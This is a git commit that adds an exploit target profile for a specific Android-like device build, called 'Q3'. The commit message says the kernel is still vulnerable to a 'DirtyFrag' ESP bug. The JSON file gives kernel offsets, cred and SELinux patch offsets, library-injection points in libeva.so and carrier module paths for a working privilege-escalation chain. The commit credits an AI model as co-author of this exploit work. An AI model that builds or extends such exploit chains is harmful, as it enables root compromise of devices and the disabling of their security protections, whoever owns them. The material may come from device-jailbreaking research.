targets: add Q3 build 52433670048800520 (verified DirtyFrag + chain)

Newer Q3/eureka build (patch 2026-06-04, one day past the on-device-
confirmed 52433670036000520). Verified still vulnerable offline:

- DirtyFrag sink present: INET_ESP=y, XFRM_ESP=y, CRYPTO_GCM/AES=y,
  INET_ESP_OFFLOAD off; esp_input_done unconditionally calls
  esp_input_done2 -> xfrm_input (decrypt-before-verify, no err-gate).
- Chain prereqs: MODULE_SIG off, MODULES=y, MODVERSIONS=y (carrier
  pulled from this exact zip). Two-carrier Q3 shape unchanged.
- Kernel 5.10.246-gd018cc32fc4f (rebuild of gd7102a837402): all four
  exploit deltas (dsel/dfv/dpt/dssuse) byte-identical -> .text layout
  unchanged. libeva inject offsets, cred_off, enforcing_off identical.
- Payload assembles: enforcing carrier 59024B, cred-patch credmod 208B
  .init.text, init.insmod.cfg 268B @0x21/54.

Offline verification only (connected unit is on 036000520, not this
build). Chain applies unchanged; target uses current inject_lib schema.

Co-Authored-By: Claude Opus 4.8 <[email protected]>

targets/q3_52433670048800520.json

@@ -0,0 +1,57 @@
+{
+  "name": "q3_52433670048800520",
+  "description": "build 52433670048800520, kernel 5.10.246-gd018cc32fc4f",
+  "device": {
+    "build_incremental": "52433670048800520",
+    "vermagic": "5.10.246-gd018cc32fc4f"
+  },
+  "dirtyfrag": {
+    "sa_spi": "0xdeadbe10",
+    "writer_spi": "0xdeadbe11",
+    "keymat_base": "0x41"
+  },
+  "kernel": {
+    "anchor_symbol": "__platform_driver_register",
+    "enforcing_off": 0,
+    "cred_off": "0x778",
+    "cred_security_off": "0x78",
+    "merged": false,
+    "delta_selinux_from_anchor": "0x1ecb1a8",
+    "delta_findvpid_from_anchor": "0xff788084",
+    "delta_pidtask_from_anchor": "0xff5a8e98",
+    "delta_ssuse_from_anchor": "0xffcc5204"
+  },
+  "carrier": {
+    "device_path": "/vendor/lib/modules/llcc_perfmon.ko",
+    "local_ko": "q3_52433670048800520/llcc_perfmon.ko",
+    "anchor_reloc_off": "0x14"
+  },
+  "inject_lib": {
+    "device_path": "/vendor/lib64/libeva.so",
+    "init_array_off": "0xd3060",
+    "orig_ctor_off": "0x4139c",
+    "stub_gap_off": "0x478e8",
+    "stub_gap_size": 1816
+  },
+  "libandroid_servers": {
+    "device_path": "/system/lib64/libandroid_servers.so",
+    "dump_off": "0x6b770",
+    "dump_size": 836
+  },
+  "cfg": {
+    "device_path": "/vendor/etc/init.insmod.cfg",
+    "local_cfg": "q3_52433670048800520/init.insmod.cfg",
+    "inject_off": "0x21",
+    "inject_len": 54
+  },
+  "services": {
+    "tracking": "trackingservice",
+    "insmod_sh": "insmod_sh"
+  },
+  "property_socket": "/dev/socket/property_service",
+  "cred_carrier": {
+    "device_path": "/vendor/lib/modules/usbip-vudc.ko",
+    "local_ko": "q3_52433670048800520/usbip-vudc.ko",
+    "note": "not-loaded cred carrier; anchor __platform_driver_register"
+  }
+}

targets/q3_52433670048800520/init.insmod.cfg

@@ -0,0 +1,13 @@
+# Load everything
+modprobe|-b *
+
+# All modules loaded
+setprop|vendor.all.modules.ready
+
+# Boot devices
+enable|/sys/kernel/boot_adsp/boot
+enable|/sys/kernel/boot_cdsp/boot
+enable|/sys/devices/virtual/cvp/cvp/boot
+
+# All devices enabled
+setprop|vendor.all.devices.ready